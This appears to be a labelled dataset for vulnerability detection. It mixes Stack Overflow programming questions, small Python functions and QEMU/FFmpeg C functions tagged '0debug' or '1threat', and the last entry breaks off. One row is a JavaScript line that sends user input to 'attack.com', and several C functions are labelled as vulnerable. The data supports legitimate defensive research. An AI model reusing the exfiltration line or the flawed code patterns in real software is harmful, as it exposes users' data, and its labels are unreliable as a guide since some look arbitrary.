problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
How do you clear your Visual Studio Code cache on a Mac/Linux Machine? : <p>How do I flush the cache for my Visual Studio Code on my Mac El Capitan OS?</p>
| 0debug |
php 5.4 supports oracle 12 c or not? : Can someone please tell me if php 5.4 supports oracle 12 c or is there any way we can connect to oracle 12 c by using older version of oracle ? | 0debug |
static int build_huff(const uint8_t *src, VLC *vlc)
{
int i;
HuffEntry he[256];
int last;
uint32_t codes[256];
uint8_t bits[256];
uint8_t syms[256];
uint32_t code;
for (i = 0; i < 256; i++) {
he[i].sym = i;
he[i].len = *src++;
}
qsort(he, 256, sizeof(*he), huff_cmp);
if (!he[0].len || he[0].len > 32)
return -1;
last = 255;
while (he[last].len == 255 && last)
last--;
code = 1;
for (i = last; i >= 0; i--) {
codes[i] = code >> (32 - he[i].len);
bits[i] = he[i].len;
syms[i] = he[i].sym;
code += 0x80000000u >> (he[i].len - 1);
}
return init_vlc_sparse(vlc, FFMIN(he[last].len, 9), last + 1,
bits, sizeof(*bits), sizeof(*bits),
codes, sizeof(*codes), sizeof(*codes),
syms, sizeof(*syms), sizeof(*syms), 0);
}
| 1threat |
How to complete a CompletableFuture<Void>? : <p>I want a CompletableFuture that only signals the completion (e.g. I don't have a return value).</p>
<p>I can instantiate the CompletableFuture as:</p>
<pre><code>CompletableFuture<Void> future = new CompletableFuture<> ();
</code></pre>
<p>But what should I feed into the complete method? For example, I can't do </p>
<pre><code>future.complete(new Void());
</code></pre>
| 0debug |
static void property_get_bool(Object *obj, Visitor *v, void *opaque,
const char *name, Error **errp)
{
BoolProperty *prop = opaque;
bool value;
value = prop->get(obj, errp);
visit_type_bool(v, &value, name, errp);
}
| 1threat |
import re
def extract_max(input):
numbers = re.findall('\d+',input)
numbers = map(int,numbers)
return max(numbers) | 0debug |
void HELPER(divs)(CPUM68KState *env, uint32_t word)
{
int32_t num;
int32_t den;
int32_t quot;
int32_t rem;
num = env->div1;
den = env->div2;
if (den == 0) {
raise_exception(env, EXCP_DIV0);
}
quot = num / den;
rem = num % den;
env->cc_v = (word && quot != (int16_t)quot ? -1 : 0);
env->cc_z = quot;
env->cc_n = quot;
env->cc_c = 0;
env->div1 = quot;
env->div2 = rem;
}
| 1threat |
static CharDriverState *qemu_chr_open_tty(QemuOpts *opts)
{
const char *filename = qemu_opt_get(opts, "path");
CharDriverState *chr;
int fd;
TFR(fd = open(filename, O_RDWR | O_NONBLOCK));
if (fd < 0) {
return NULL;
}
tty_serial_init(fd, 115200, 'N', 8, 1);
chr = qemu_chr_open_fd(fd, fd);
if (!chr) {
close(fd);
return NULL;
}
chr->chr_ioctl = tty_serial_ioctl;
chr->chr_close = qemu_chr_close_tty;
return chr;
}
| 1threat |
C# How to sort string of objects by string value : <p>I have list of objects with different values int's, double's, string's.
In this case i want to sort list of objects by "name".
I done it for int's but can't by string.</p>
<p>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,</p>
<pre><code>public void CreateMammal() // obj creating method
{
Console.WriteLine("Podaj Imie: ");
name = Console.ReadLine();
Console.WriteLine("Podaj Wiek: ");
age = Convert.ToInt32(Console.ReadLine());
Console.WriteLine("Podaj Wagę: ");
weigth = Convert.ToDouble(Console.ReadLine());
Console.WriteLine("Podaj Kolor Futra: ");
furColour = Console.ReadLine();
ToString();
}
.
.
.
List<Animal> animals = new List<Animal>(); // list declaration
.
.
.
Mammal mammal = new Mammal();
mammal.CreateMammal();
Console.WriteLine("\n\nTwoj ssak:\n" +
mammal.ToString());
animals.Add(mammal);
.
.
.
//animals.Sort((x, y) => x."name" - y."name"); // algorytm sortowania
//printAnimals(animals);
animals.Sort(); // here we go with problem
foreach (string value in animals)
{
Console.WriteLine(value);
}
.
.
.
public static void printAnimals(List<Animal> animals)
{
foreach (var animal in animals)
{
Console.WriteLine(animal.ToString());
}
}
</code></pre>
| 0debug |
replacing capital to small letter regular expression : I want to replace I and A to lower case. how to do it. plese help me.Also please give me solution is capital letter is present in between lower case.
import re
sent = 'hai Iam Ajay born in 1994'
re.sub(r'(\s)([A-Z])'$1\l$2',sent)
| 0debug |
create_iovec(BlockBackend *blk, QEMUIOVector *qiov, char **argv, int nr_iov,
int pattern)
{
size_t *sizes = g_new0(size_t, nr_iov);
size_t count = 0;
void *buf = NULL;
void *p;
int i;
for (i = 0; i < nr_iov; i++) {
char *arg = argv[i];
int64_t len;
len = cvtnum(arg);
if (len < 0) {
print_cvtnum_err(len, arg);
goto fail;
}
if (len > INT_MAX) {
printf("Argument '%s' exceeds maximum size %d\n", arg, INT_MAX);
goto fail;
}
sizes[i] = len;
count += len;
}
qemu_iovec_init(qiov, nr_iov);
buf = p = qemu_io_alloc(blk, count, pattern);
for (i = 0; i < nr_iov; i++) {
qemu_iovec_add(qiov, p, sizes[i]);
p += sizes[i];
}
fail:
g_free(sizes);
return buf;
}
| 1threat |
def check_Type_Of_Triangle(a,b,c):
sqa = pow(a,2)
sqb = pow(b,2)
sqc = pow(c,2)
if (sqa == sqa + sqb or sqb == sqa + sqc or sqc == sqa + sqb):
return ("Right-angled Triangle")
elif (sqa > sqc + sqb or sqb > sqa + sqc or sqc > sqa + sqb):
return ("Obtuse-angled Triangle")
else:
return ("Acute-angled Triangle") | 0debug |
How to solve this minification error on Gulp? : <p>I'm getting below error running this command</p>
<pre><code>gulp.task('minify', function () {
return gulp
.src('public/app/js/myapp.bundle.js')
.pipe(uglify())
.pipe(gulp.dest('public/app/js/myapp.bundle.min.js'));
});
</code></pre>
<blockquote>
<p>GulpUglifyError: unable to minify JavaScript Caused by: SyntaxError: Unexpected token: name (MenuItem) (line: 1628, col: 18, pos: 53569) </p>
</blockquote>
<p>Code on that location is this</p>
<pre><code> setters: [],
execute: function () {
class MenuItem { // <-- line 1628
</code></pre>
<p>What's wrong?</p>
| 0debug |
How to transport information from one form to another using dto, C # windows form? : Good afternoon guys I'm having trouble transporting information from one form to another, is to make a single save, but the information is distributed in 2 forms and I have to do it using dto, I know that for this I have to send the data that I I want by the form builder method, as you can see in the image below
[enter image description here][1]
[1]: https://i.stack.imgur.com/jSKVD.png
But now my question is:
1) How to make these variables take their respective text box and combo box values?
2) How to make the next form have access to this data?
| 0debug |
Bootstrap 4, bg-inverse not showing? : <p>Trying to follow the navbar example in Bootstraps documentation, I have a problem where the background colour of the navbar doesn't get loaded.</p>
<pre><code><nav class="navbar navbar-inverse bg-inverse">
<a class="navbar-brand" href="#">Navbar</a>
</nav>
</code></pre>
<p>I took a look in bootstrap.css and bg-inverse does not appear there. Am I supposed to create the colours myself, or am I doing something wrong? (I am working in an Angular project)</p>
| 0debug |
Fetch API cannot load file:///C:/Users/Jack/Desktop/Books_H/book-site/public/api/books. URL scheme must be "http" or "https" for CORS request : <p>Just started learning node js in my school. They gave us this half-finished task and i need to make the next and prev buttons work. However i get some errors in the console the moment i run the index.html. The errors are:</p>
<p>"Fetch API cannot load file:///C:/Users/Jack/Desktop/Books_H/book-site/public/api/books. URL scheme must be "http" or "https" for CORS request." </p>
<p>and the other one is :</p>
<p>"Uncaught (in promise) TypeError: Failed to fetch at HTMLDocument.document.addEventListener".</p>
<p>I dont even know how to start to solve this problem. Any help?</p>
<pre><code> <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=1000, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Hello</title>
</head>
<body>
Hello from the other side! <b>Total: <span id="total"></span></b><br/>
<button id="author">Sort by author</button>
<button id="title">Sort by title</button>
<table id="books" border="1">
<tr>
<th>
Author
</th>
<th>
Book Title
</th>
</tr>
</table>
<script src="index.js"></script>
</body>
</html>
</code></pre>
<p>The java script file</p>
<pre><code> document.addEventListener("DOMContentLoaded", () => {
processResponse(fetch("api/books"));
document.getElementById("author").addEventListener("click", () =>{
processResponse(fetch("api/books?sortby=author"))
});
document.getElementById("title").addEventListener("click", () =>{
processResponse(fetch("api/books?sortby=title"))
});
});
function processResponse(response) {
let table = document.getElementById("books");
let total = document.getElementById("total");
response.then(data => data.json())
.then(value => {
table.innerHTML = "";
const tr = document.createElement("tr");
let th = document.createElement("th");
th.innerHTML = "Author";
tr.appendChild(th);
th = document.createElement("th");
th.innerHTML = "Book Title";
tr.appendChild(th);
table.appendChild(tr);
for (let index = 0; index < value.books.length; index++) {
const book = value.books[index];
const tr = document.createElement("tr");
let td = document.createElement("td");
td.innerHTML = book.author;
tr.appendChild(td);
td = document.createElement("td");
td.innerHTML = book.title;
tr.appendChild(td);
table.appendChild(tr);
}
total.innerHTML = value.total;
});
}
</code></pre>
<p>server.js file</p>
<pre><code> const fs = require('fs');
const express = require('express');
const app = express();
app.use(express.static("public"));
app.get("/", (req, res) => {
res.sendFile("index.html", { root: __dirname + "/public" });
});
const apiRouter = express.Router();
apiRouter.get("/books", (req, res) => {
let sortOrder = req.query["sortby"];
fs.readFile("data/books.json", { encoding: 'utf8' }, (err, data) => {
if (err) {
console.error("ERROR is: ", err);
return;
}
let books = JSON.parse(data);
if (sortOrder === "author") {
books.sort((a, b)=> a.author.localeCompare(b.author));
} else if (sortOrder === "title") {
books.sort((a, b)=> a.title.localeCompare(b.title));
}
res.send(JSON.stringify({
books: books.slice(0, 50),
total: books.length
}));
});
})
apiRouter.get("/books/title", (req, res) => {
fs.readFile("data/books.json", { encoding: 'utf8' }, (err, data) => {
if (err) {
console.error("ERROR is: ", err);
return;
}
let books = JSON.parse(data);
let titles = books.map(book => book.title);
res.send(JSON.stringify(titles));
});
})
apiRouter.get("/books/author", (req, res) => {
fs.readFile("data/books.json", { encoding: 'utf8' }, (err, data) => {
if (err) {
console.error("ERROR is: ", err);
return;
}
let books = JSON.parse(data);
let authors = books.map(book => book.author);
res.send(JSON.stringify(authors));
});
})
app.use("/api", apiRouter);
app.listen(8080, () => console.log('Example app listening on port 8080!'));
/*
And the books.json file that i guess you dont need so i wont post it.
My folder structure is:
Books > data Folder > books.json.
Books > public Folder > index.html.
Books > public Folder > index.js.
Books > server.js.
*/
</code></pre>
| 0debug |
static void stm32f2xx_timer_write(void *opaque, hwaddr offset,
uint64_t val64, unsigned size)
{
STM32F2XXTimerState *s = opaque;
uint32_t value = val64;
int64_t now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
uint32_t timer_val = 0;
DB_PRINT("Write 0x%x, 0x%"HWADDR_PRIx"\n", value, offset);
switch (offset) {
case TIM_CR1:
s->tim_cr1 = value;
return;
case TIM_CR2:
s->tim_cr2 = value;
return;
case TIM_SMCR:
s->tim_smcr = value;
return;
case TIM_DIER:
s->tim_dier = value;
return;
case TIM_SR:
s->tim_sr &= value;
return;
case TIM_EGR:
s->tim_egr = value;
if (s->tim_egr & TIM_EGR_UG) {
timer_val = 0;
break;
}
return;
case TIM_CCMR1:
s->tim_ccmr1 = value;
return;
case TIM_CCMR2:
s->tim_ccmr2 = value;
return;
case TIM_CCER:
s->tim_ccer = value;
return;
case TIM_PSC:
timer_val = stm32f2xx_ns_to_ticks(s, now) - s->tick_offset;
s->tim_psc = value;
value = timer_val;
break;
case TIM_CNT:
timer_val = value;
break;
case TIM_ARR:
s->tim_arr = value;
stm32f2xx_timer_set_alarm(s, now);
return;
case TIM_CCR1:
s->tim_ccr1 = value;
return;
case TIM_CCR2:
s->tim_ccr2 = value;
return;
case TIM_CCR3:
s->tim_ccr3 = value;
return;
case TIM_CCR4:
s->tim_ccr4 = value;
return;
case TIM_DCR:
s->tim_dcr = value;
return;
case TIM_DMAR:
s->tim_dmar = value;
return;
case TIM_OR:
s->tim_or = value;
return;
default:
qemu_log_mask(LOG_GUEST_ERROR,
"%s: Bad offset 0x%"HWADDR_PRIx"\n", __func__, offset);
return;
}
s->tick_offset = stm32f2xx_ns_to_ticks(s, now) - timer_val;
stm32f2xx_timer_set_alarm(s, now);
}
| 1threat |
Is there any way to auto generate objects from a class? : <p>I have a class with 5 variables, and 3 out of the 5 will be the same for every new object. Is there a way to create, say, 100 objects, from a string file containing 100 items?</p>
| 0debug |
Parse error: syntax error, unexpected 'exit' (T_EXIT) in C:\xampp\htdocs\Chat\Chat\includes\signup.inc.php on line 12 : <p>trying to make a sign up page but when someone signs in an error comes, why? line(s): 12.</p>
<pre><code>if (empty($username) || empty($password) || empty($passwordrepeat)) {
header("Location: ../signup.php?error=emptyfeilds&".$username)
exit(); // <-- Here!
</code></pre>
| 0debug |
static inline void tb_alloc_page(TranslationBlock *tb,
unsigned int n, tb_page_addr_t page_addr)
{
PageDesc *p;
#ifndef CONFIG_USER_ONLY
bool page_already_protected;
#endif
assert_memory_lock();
tb->page_addr[n] = page_addr;
p = page_find_alloc(page_addr >> TARGET_PAGE_BITS, 1);
tb->page_next[n] = p->first_tb;
#ifndef CONFIG_USER_ONLY
page_already_protected = p->first_tb != NULL;
#endif
p->first_tb = (TranslationBlock *)((uintptr_t)tb | n);
invalidate_page_bitmap(p);
#if defined(CONFIG_USER_ONLY)
if (p->flags & PAGE_WRITE) {
target_ulong addr;
PageDesc *p2;
int prot;
page_addr &= qemu_host_page_mask;
prot = 0;
for (addr = page_addr; addr < page_addr + qemu_host_page_size;
addr += TARGET_PAGE_SIZE) {
p2 = page_find(addr >> TARGET_PAGE_BITS);
if (!p2) {
continue;
}
prot |= p2->flags;
p2->flags &= ~PAGE_WRITE;
}
mprotect(g2h(page_addr), qemu_host_page_size,
(prot & PAGE_BITS) & ~PAGE_WRITE);
#ifdef DEBUG_TB_INVALIDATE
printf("protecting code page: 0x" TARGET_FMT_lx "\n",
page_addr);
#endif
}
#else
if (!page_already_protected) {
tlb_protect_code(page_addr);
}
#endif
}
| 1threat |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
static int img_check(int argc, char **argv)
{
int c, ret;
const char *filename, *fmt;
BlockDriverState *bs;
BdrvCheckResult result;
int fix = 0;
int flags = BDRV_O_FLAGS;
fmt = NULL;
for(;;) {
c = getopt(argc, argv, "f:hr:");
if (c == -1) {
break;
}
switch(c) {
case '?':
case 'h':
help();
break;
case 'f':
fmt = optarg;
break;
case 'r':
flags |= BDRV_O_RDWR;
if (!strcmp(optarg, "leaks")) {
fix = BDRV_FIX_LEAKS;
} else if (!strcmp(optarg, "all")) {
fix = BDRV_FIX_LEAKS | BDRV_FIX_ERRORS;
} else {
help();
}
break;
}
}
if (optind >= argc) {
help();
}
filename = argv[optind++];
bs = bdrv_new_open(filename, fmt, flags);
if (!bs) {
return 1;
}
ret = bdrv_check(bs, &result, fix);
if (ret == -ENOTSUP) {
error_report("This image format does not support checks");
bdrv_delete(bs);
return 1;
}
if (result.corruptions_fixed || result.leaks_fixed) {
printf("The following inconsistencies were found and repaired:\n\n"
" %d leaked clusters\n"
" %d corruptions\n\n"
"Double checking the fixed image now...\n",
result.leaks_fixed,
result.corruptions_fixed);
ret = bdrv_check(bs, &result, 0);
}
if (!(result.corruptions || result.leaks || result.check_errors)) {
printf("No errors were found on the image.\n");
} else {
if (result.corruptions) {
printf("\n%d errors were found on the image.\n"
"Data may be corrupted, or further writes to the image "
"may corrupt it.\n",
result.corruptions);
}
if (result.leaks) {
printf("\n%d leaked clusters were found on the image.\n"
"This means waste of disk space, but no harm to data.\n",
result.leaks);
}
if (result.check_errors) {
printf("\n%d internal errors have occurred during the check.\n",
result.check_errors);
}
}
if (result.bfi.total_clusters != 0 && result.bfi.allocated_clusters != 0) {
printf("%" PRId64 "/%" PRId64 "= %0.2f%% allocated, %0.2f%% fragmented\n",
result.bfi.allocated_clusters, result.bfi.total_clusters,
result.bfi.allocated_clusters * 100.0 / result.bfi.total_clusters,
result.bfi.fragmented_clusters * 100.0 / result.bfi.allocated_clusters);
}
bdrv_delete(bs);
if (ret < 0 || result.check_errors) {
printf("\nAn error has occurred during the check: %s\n"
"The check is not complete and may have missed error.\n",
strerror(-ret));
return 1;
}
if (result.corruptions) {
return 2;
} else if (result.leaks) {
return 3;
} else {
return 0;
}
}
| 1threat |
how to convert an object into Int64? : I am trying to merge two dataframes. because they are not the same type of data, I try to convert it into one. But I get the following error, can someone help me with this?[enter image description here][1]
[1]: https://i.stack.imgur.com/W1JkV.png | 0debug |
can anyone help me with error due to prompting the user input in python 2? : def perfectNumberCheck(num):
sum=0
for i in range(1,num):
if num%i==0:
sum =sum+i
if sum==num:
print('1')
else:
print('0')
num=int(raw_input('come on dude:'))
perectNumberCheck(num)
I am trying to execute the above code using python 2.7 but i keep on getting EOFError. can anyone help me? | 0debug |
$('myTextBox').val(); undefined : <p>Here is my html tag:</p>
<pre><code><input type="number" id="priority" value="50" min="1" max="100">
</code></pre>
<p>My javascript code:</p>
<pre><code>var $value = $('priority');
alert($value.val());
</code></pre>
<p>This alerts undefined and I can't figure out why.</p>
<p>When I get rid of .val() it alerts [object Object]</p>
<pre><code>alert($value);
</code></pre>
| 0debug |
Is there a way to put quotes in a cout? : <p>I was trying to make a simple calculator and I would like to display quotes in the instruction when you first run the program. </p>
| 0debug |
Remove underline from HTML : <p>I am looking for how to remove the underline from this bit of HTML </p>
<p>I tried this but have no idea where to place it in this line. (I am not a developer) </p>
<pre><code><a href="%%unsubscribe%%"><span style="color:#15BECE;">Unsubscribe</span></a> from email communications<br>
</code></pre>
| 0debug |
Set a session var in Rspec Request spec : <p>I am trying to set a session variable in a request spec.</p>
<p>I have tried the following things to do this:</p>
<pre><code>RSpec.describe 'Application Controller' do
context 'updating an application' do
before :each do
@app = create(:application, step: 'investigation')
end
it 'should update app status' do
Status.create(app_id: @app.id, name: Status.names[:start])
request.session[:app_id] = @app.id
patch "/applications/start",
params: s_params
expect(response).to redirect_to(offers_path)
end
end
end
</code></pre>
<p>I have tried substituting <code>request</code> with <code>@request</code> both result in the same output.</p>
<pre><code>NoMethodError:
undefined method `session' for nil:NilClass
</code></pre>
<p>then I have tried just setting as:</p>
<pre><code>session[:app_id] = @app.id
</code></pre>
<p>which will yield:</p>
<pre><code>NoMethodError:
undefined method `session' for nil:NilClass
</code></pre>
<p>and also setting it like this:</p>
<pre><code>patch "/applications/start",
params: s_params,
session: {"app_id" => @app.id}
</code></pre>
<p>which will yield:</p>
<pre><code> ArgumentError:
unknown keyword: session
</code></pre>
<p>My versions:</p>
<pre><code>╰>>> ruby -v
ruby 2.4.5p335 (2018-10-18 revision 65137) [x86_64-darwin18]
╰>>> rails -v
Rails 5.2.1
╰>>> rspec -v
RSpec 3.8
- rspec-core 3.8.0
- rspec-expectations 3.8.1
- rspec-mocks 3.8.0
- rspec-rails 3.8.0
- rspec-support 3.8.0
</code></pre>
<p>Looking at the <a href="https://relishapp.com/rspec/rspec-rails/v/3-8/docs/request-specs/request-spec" rel="noreferrer">documentation</a> it suggests we could leverage the sessions but does not give a clear example of how we would do this. </p>
| 0debug |
How to use Bluebird in Typescript 2.1+ : <p>(I have read <a href="https://stackoverflow.com/questions/39231151/how-to-use-bluebird-with-current-typescript">this post</a> but it is from August and it does not answer my question for the current typescript version.)</p>
<p>I'm currently using Typescript 1.8 in my project and this works fine:</p>
<pre><code>import * as Promise from "bluebird";
async function f() : Promise<void> {
return Promise.delay(200);
}
</code></pre>
<p>But if I try to compile with Typescript 2.1:</p>
<pre><code>index.ts(2,16): error TS1059: Return expression in async function does not have a valid callable 'then' member.
</code></pre>
<p>Googling the issue of using Bluebird Promises in Typscript, I have also found many github discussions, comments and PRs, but they are all very hard to grasp and while discussing interesting points, I can't find anywhere that says how I'm supposed to get this to work now.</p>
<p>So, how am I supposed to be able to use Bluebird for Promises in Typescript 2.1?</p>
| 0debug |
void gtk_display_init(DisplayState *ds)
{
GtkDisplayState *s = g_malloc0(sizeof(*s));
gtk_init(NULL, NULL);
ds->opaque = s;
s->ds = ds;
s->dcl.ops = &dcl_ops;
s->window = gtk_window_new(GTK_WINDOW_TOPLEVEL);
#if GTK_CHECK_VERSION(3, 2, 0)
s->vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0);
#else
s->vbox = gtk_vbox_new(FALSE, 0);
#endif
s->notebook = gtk_notebook_new();
s->drawing_area = gtk_drawing_area_new();
s->menu_bar = gtk_menu_bar_new();
s->scale_x = 1.0;
s->scale_y = 1.0;
s->free_scale = FALSE;
setlocale(LC_ALL, "");
bindtextdomain("qemu", CONFIG_QEMU_LOCALEDIR);
textdomain("qemu");
s->null_cursor = gdk_cursor_new(GDK_BLANK_CURSOR);
s->mouse_mode_notifier.notify = gd_mouse_mode_change;
qemu_add_mouse_mode_change_notifier(&s->mouse_mode_notifier);
qemu_add_vm_change_state_handler(gd_change_runstate, s);
gtk_notebook_append_page(GTK_NOTEBOOK(s->notebook), s->drawing_area, gtk_label_new("VGA"));
gd_create_menus(s);
gd_connect_signals(s);
gtk_widget_add_events(s->drawing_area,
GDK_POINTER_MOTION_MASK |
GDK_BUTTON_PRESS_MASK |
GDK_BUTTON_RELEASE_MASK |
GDK_BUTTON_MOTION_MASK |
GDK_ENTER_NOTIFY_MASK |
GDK_LEAVE_NOTIFY_MASK |
GDK_SCROLL_MASK |
GDK_KEY_PRESS_MASK);
gtk_widget_set_double_buffered(s->drawing_area, FALSE);
gtk_widget_set_can_focus(s->drawing_area, TRUE);
gtk_notebook_set_show_tabs(GTK_NOTEBOOK(s->notebook), FALSE);
gtk_notebook_set_show_border(GTK_NOTEBOOK(s->notebook), FALSE);
gd_update_caption(s);
gtk_box_pack_start(GTK_BOX(s->vbox), s->menu_bar, FALSE, TRUE, 0);
gtk_box_pack_start(GTK_BOX(s->vbox), s->notebook, TRUE, TRUE, 0);
gtk_container_add(GTK_CONTAINER(s->window), s->vbox);
gtk_widget_show_all(s->window);
register_displaychangelistener(ds, &s->dcl);
global_state = s;
}
| 1threat |
static int copy_sectors(BlockDriverState *bs, uint64_t start_sect,
uint64_t cluster_offset, int n_start, int n_end)
{
BDRVQcowState *s = bs->opaque;
int n, ret;
n = n_end - n_start;
if (n <= 0)
return 0;
ret = qcow_read(bs, start_sect + n_start, s->cluster_data, n);
if (ret < 0)
return ret;
if (s->crypt_method) {
qcow2_encrypt_sectors(s, start_sect + n_start,
s->cluster_data,
s->cluster_data, n, 1,
&s->aes_encrypt_key);
}
ret = bdrv_write(s->hd, (cluster_offset >> 9) + n_start,
s->cluster_data, n);
if (ret < 0)
return ret;
return 0;
}
| 1threat |
ff_rm_parse_packet (AVFormatContext *s, AVIOContext *pb,
AVStream *st, RMStream *ast, int len, AVPacket *pkt,
int *seq, int flags, int64_t timestamp)
{
RMDemuxContext *rm = s->priv_data;
int ret;
if (st->codec->codec_type == AVMEDIA_TYPE_VIDEO) {
rm->current_stream= st->id;
ret = rm_assemble_video_frame(s, pb, rm, ast, pkt, len, seq, ×tamp);
if(ret)
return ret < 0 ? ret : -1;
} else if (st->codec->codec_type == AVMEDIA_TYPE_AUDIO) {
if ((ast->deint_id == DEINT_ID_GENR) ||
(ast->deint_id == DEINT_ID_INT4) ||
(ast->deint_id == DEINT_ID_SIPR)) {
int x;
int sps = ast->sub_packet_size;
int cfs = ast->coded_framesize;
int h = ast->sub_packet_h;
int y = ast->sub_packet_cnt;
int w = ast->audio_framesize;
if (flags & 2)
y = ast->sub_packet_cnt = 0;
if (!y)
ast->audiotimestamp = timestamp;
switch (ast->deint_id) {
case DEINT_ID_INT4:
for (x = 0; x < h/2; x++)
readfull(s, pb, ast->pkt.data+x*2*w+y*cfs, cfs);
break;
case DEINT_ID_GENR:
for (x = 0; x < w/sps; x++)
readfull(s, pb, ast->pkt.data+sps*(h*x+((h+1)/2)*(y&1)+(y>>1)), sps);
break;
case DEINT_ID_SIPR:
readfull(s, pb, ast->pkt.data + y * w, w);
break;
}
if (++(ast->sub_packet_cnt) < h)
return -1;
if (ast->deint_id == DEINT_ID_SIPR)
ff_rm_reorder_sipr_data(ast->pkt.data, h, w);
ast->sub_packet_cnt = 0;
rm->audio_stream_num = st->index;
rm->audio_pkt_cnt = h * w / st->codec->block_align;
} else if ((ast->deint_id == DEINT_ID_VBRF) ||
(ast->deint_id == DEINT_ID_VBRS)) {
int x;
rm->audio_stream_num = st->index;
ast->sub_packet_cnt = (avio_rb16(pb) & 0xf0) >> 4;
if (ast->sub_packet_cnt) {
for (x = 0; x < ast->sub_packet_cnt; x++)
ast->sub_packet_lengths[x] = avio_rb16(pb);
rm->audio_pkt_cnt = ast->sub_packet_cnt;
ast->audiotimestamp = timestamp;
} else
return -1;
} else {
av_get_packet(pb, pkt, len);
rm_ac3_swap_bytes(st, pkt);
}
} else
av_get_packet(pb, pkt, len);
pkt->stream_index = st->index;
#if 0
if (st->codec->codec_type == AVMEDIA_TYPE_VIDEO) {
if(st->codec->codec_id == AV_CODEC_ID_RV20){
int seq= 128*(pkt->data[2]&0x7F) + (pkt->data[3]>>1);
av_log(s, AV_LOG_DEBUG, "%d %"PRId64" %d\n", *timestamp, *timestamp*512LL/25, seq);
seq |= (timestamp&~0x3FFF);
if(seq - timestamp > 0x2000) seq -= 0x4000;
if(seq - timestamp < -0x2000) seq += 0x4000;
}
}
#endif
pkt->pts = timestamp;
if (flags & 2)
pkt->flags |= AV_PKT_FLAG_KEY;
return st->codec->codec_type == AVMEDIA_TYPE_AUDIO ? rm->audio_pkt_cnt : 0;
}
| 1threat |
Javascript equivalent of C# code : <p>I can't find the JavaScript equivalent of this C# code anywhere.</p>
<pre><code>ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
</code></pre>
<p>I'm trying to force Tls via JavaScript</p>
| 0debug |
static inline void tcg_out_dat_rI(TCGContext *s, int cond, int opc, TCGArg dst,
TCGArg lhs, TCGArg rhs, int rhs_is_const)
{
if (rhs_is_const) {
int rot = encode_imm(rhs);
assert(rot >= 0);
tcg_out_dat_imm(s, cond, opc, dst, lhs, rotl(rhs, rot) | (rot << 7));
} else {
tcg_out_dat_reg(s, cond, opc, dst, lhs, rhs, SHIFT_IMM_LSL(0));
}
}
| 1threat |
Why is "parameters" is not defined : I am following the tutorial at https://www.dataquest.io/blog/python-api-tutorial/. It is saying that "parameters" is not defined. the URL has params=parameters, I have used both in the coding and still getting error. Not sure how to correct it.
This is the code:
<code>
import requests
import json
response = requests.get("http://api.open-notify.org/astros.json")
response = requests.get("http://api.open-notify.org/iss-pass.json", params=parameters)
def jprint(obj):
# create a formatted string of the Python JSON object
text = json.dumps(obj, sort_keys=True, indent=4)
print(text)
parameters = {
"lat":27.8006,
"lon":97.3864
}
jprint(response.json())
</code> | 0debug |
static int vmdaudio_decode_frame(AVCodecContext *avctx,
void *data, int *data_size,
AVPacket *avpkt)
{
const uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
VmdAudioContext *s = avctx->priv_data;
int block_type, silent_chunks;
unsigned char *output_samples = (unsigned char *)data;
if (buf_size < 16) {
av_log(avctx, AV_LOG_WARNING, "skipping small junk packet\n");
*data_size = 0;
return buf_size;
}
block_type = buf[6];
if (block_type < BLOCK_TYPE_AUDIO || block_type > BLOCK_TYPE_SILENCE) {
av_log(avctx, AV_LOG_ERROR, "unknown block type: %d\n", block_type);
return AVERROR(EINVAL);
}
buf += 16;
buf_size -= 16;
silent_chunks = 0;
if (block_type == BLOCK_TYPE_INITIAL) {
uint32_t flags = AV_RB32(buf);
silent_chunks = av_popcount(flags);
buf += 4;
buf_size -= 4;
} else if (block_type == BLOCK_TYPE_SILENCE) {
silent_chunks = 1;
buf_size = 0;
}
if (*data_size < (avctx->block_align*silent_chunks + buf_size) * s->out_bps)
return -1;
*data_size = vmdaudio_loadsound(s, output_samples, buf, silent_chunks, buf_size);
return avpkt->size;
}
| 1threat |
static void gen_arith_imm (CPUState *env, DisasContext *ctx, uint32_t opc,
int rt, int rs, int16_t imm)
{
target_ulong uimm;
const char *opn = "imm arith";
TCGv t0 = tcg_temp_local_new(TCG_TYPE_TL);
if (rt == 0 && opc != OPC_ADDI && opc != OPC_DADDI) {
MIPS_DEBUG("NOP");
goto out;
}
uimm = (uint16_t)imm;
switch (opc) {
case OPC_ADDI:
case OPC_ADDIU:
#if defined(TARGET_MIPS64)
case OPC_DADDI:
case OPC_DADDIU:
#endif
case OPC_SLTI:
case OPC_SLTIU:
uimm = (target_long)imm;
case OPC_ANDI:
case OPC_ORI:
case OPC_XORI:
gen_load_gpr(t0, rs);
break;
case OPC_LUI:
tcg_gen_movi_tl(t0, imm << 16);
break;
case OPC_SLL:
case OPC_SRA:
case OPC_SRL:
#if defined(TARGET_MIPS64)
case OPC_DSLL:
case OPC_DSRA:
case OPC_DSRL:
case OPC_DSLL32:
case OPC_DSRA32:
case OPC_DSRL32:
#endif
uimm &= 0x1f;
gen_load_gpr(t0, rs);
break;
}
switch (opc) {
case OPC_ADDI:
{
TCGv r_tmp1 = tcg_temp_local_new(TCG_TYPE_TL);
TCGv r_tmp2 = tcg_temp_new(TCG_TYPE_TL);
int l1 = gen_new_label();
save_cpu_state(ctx, 1);
tcg_gen_ext32s_tl(r_tmp1, t0);
tcg_gen_addi_tl(t0, r_tmp1, uimm);
tcg_gen_xori_tl(r_tmp1, r_tmp1, uimm);
tcg_gen_xori_tl(r_tmp1, r_tmp1, -1);
tcg_gen_xori_tl(r_tmp2, t0, uimm);
tcg_gen_and_tl(r_tmp1, r_tmp1, r_tmp2);
tcg_temp_free(r_tmp2);
tcg_gen_shri_tl(r_tmp1, r_tmp1, 31);
tcg_gen_brcondi_tl(TCG_COND_EQ, r_tmp1, 0, l1);
tcg_temp_free(r_tmp1);
generate_exception(ctx, EXCP_OVERFLOW);
gen_set_label(l1);
